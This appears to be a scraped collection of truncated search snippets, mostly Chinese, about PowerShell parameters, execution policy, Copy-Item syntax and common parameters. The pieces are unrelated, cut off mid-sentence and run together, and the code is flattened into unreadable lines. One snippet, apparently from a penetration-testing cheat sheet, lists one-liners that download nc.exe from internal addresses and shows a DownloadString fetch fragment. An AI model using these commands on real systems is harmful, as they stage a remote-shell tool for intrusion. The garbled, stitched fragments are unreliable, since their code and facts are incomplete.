自定义PowerShell函数,在设置参数的时候中,可以将参数设置为某些情况下可选,某些条件下又设置为必选。 示例代码从网站复制的。 1functionConnect-Somewhere2{3[CmdletBinding(DefaultParameterSetName='A')]4param5(6[Parameter(ParameterSetName='A',Mandatory=$false)]7[Parameter(ParameterSetName='B',Mandatory=$...
about_Parameters_Default_Values 版本 PowerShell 7.4 (LTS) Microsoft.PowerShell.Diagnostics Microsoft.PowerShell.Host Microsoft.PowerShell.Management Microsoft.PowerShell.Security Microsoft.PowerShell.Utility Microsoft.WSMan.Management PSDiagnostics PSReadLine...
ScopedItemOptions Options {get;set;} Parameters Property System.Collections.Generic. Dictionary`2[[System.String, mscorlib, Version=2.0.0.0, Cu... ParameterSets Property System.Collections. ObjectModel.ReadOnlyCollection`1[[System.Management. Automation.Com... ScriptBlock Property System.Management. Aut...
语法 Copy-Item [-LiteralPath] <string[]> [[-Destination] <string>] [-Container] [-Credential <PSCredential>] [-Exclude <string[]>] [-Filter <string>] [-For ce] [-Include <string[]>] [-PassThru] [-Recurse] [-Confirm] [-WhatIf] [-Use Transaction] [<CommonParameters>] Copy-Item...
如果未配置此策略设置,则 cmdletSet-ExecutionPolicy为计算机或用户设置的执行策略将确定是否允许运行脚本。 默认值为Restricted。 有关详细信息,请参阅about_Execution_Policies。 “打开 PowerShell 听录”策略设置允许你将 PowerShell 命令的输入和输出捕获到基于文本的脚本中。 如果启用此策略设置,PowerShell 会...
Set-ExecutionPolicy[-ExecutionPolicy]<ExecutionPolicy>[[-Scope]<ExecutionPolicyScope>][-Force][-WhatIf][-Confirm][<CommonParameters>] 参数说明: ● -ExecutionPolicy :指定执行策略 ● -Scope:指定受执行策略影响的范围。 默认作用域为 LocalMachine。
should be a mandatory parameter. When a parameter is mandatory, the user must specify the parameter, and the PowerShell runtime uses that parameter to identify the parameter set. The unique parameter can't be mandatory if your cmdlet is designed to run without specifying any parameters. ...
Set-ExecutionPolicy [-ExecutionPolicy]<ExecutionPolicy> [[-Scope]<ExecutionPolicyScope>] [-Force] [-WhatIf] [-Confirm] [<CommonParameters>] 参数说明: ●-ExecutionPolicy :指定执行策略 ●-Scope:指定受执行策略影响的范围。默认作用域为 LocalMachine。
DownloadString("xxx.ps1");[Parameters] powershell 下载远程数据 Win 7 PowerShell WebClient: powershell (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.10/nc.exe","nc.exe") Win 8及更高版本PowerShell Invoke-WebRequest (wget): powershell wget "http://172.16.0.107:8000/nc.exe"...
about_CommonParameters SHORT DESCRIPTION Describes the parameters that can be used with any cmdlet. LONG DESCRIPTION The common parameters are a set of cmdlet parameters that you can use with any cmdlet. They are implemented by Windows PowerShell, not by the cmdlet developer, and they are automat...